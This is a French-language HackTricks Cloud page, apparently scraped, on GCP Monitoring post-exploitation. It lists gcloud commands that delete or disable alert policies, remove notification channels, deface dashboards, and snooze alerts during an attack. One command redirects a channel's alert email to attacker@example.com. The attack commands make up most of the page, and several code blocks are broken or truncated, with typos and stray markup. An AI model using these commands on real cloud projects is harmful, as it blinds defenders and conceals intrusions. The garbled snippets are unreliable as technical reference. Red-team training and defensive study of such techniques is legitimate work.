GCP - Monitoring Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Monitoring
Pour plus dâinformations, consultez :
Pour dâautres façons de perturber les logs, consultez :
GCP - Logging Post Exploitation
monitoring.alertPolicies.delete
Supprimer une alert policy :
Supprimer une alert policy
```bash gcloud alpha monitoring policies deletemonitoring.alertPolicies.update
Perturber une politique dâalerte :
Perturber la politique d'alerte
```bash # Disable policy gcloud alpha monitoring policies updateRemove all notification channels
gcloud alpha monitoring policies update
Chnage notification channels
gcloud alpha monitoring policies update
Modify alert conditions
gcloud alpha monitoring policies update
or use âpolicy-from-file
</details>
### `monitoring.dashboards.update`
Modifier un dashboard pour le perturber :
<details>
<summary>Perturber le dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
monitoring.dashboards.delete
Supprimer un tableau de bord :
Supprimer le tableau de bord
```bash # Delete dashboard gcloud monitoring dashboards deletemonitoring.snoozes.create
EmpĂȘcher les politiques dâalerte de gĂ©nĂ©rer des alertes en crĂ©ant un snoozer :
CrĂ©er un snoozer pour arrĂȘter les alertes
```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```monitoring.snoozes.update
Mettre Ă jour la planification dâun snoozer pour empĂȘcher la crĂ©ation dâalertes lorsque lâattaquant sây intĂ©resse :
Mettre Ă jour la planification du snoozer
```bash # Modify the timing of a snooze gcloud monitoring snoozes updateodify everything, including affected policies
gcloud monitoring snoozes update
</details>
### `monitoring.notificationChannels.delete`
Supprimer un canal configuré :
<details>
<summary>Supprimer le canal de notification</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
monitoring.notificationChannels.update
Mettre Ă jour les libellĂ©s dâun canal pour le perturber :
Mettre à jour les libellés du canal de notification
```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

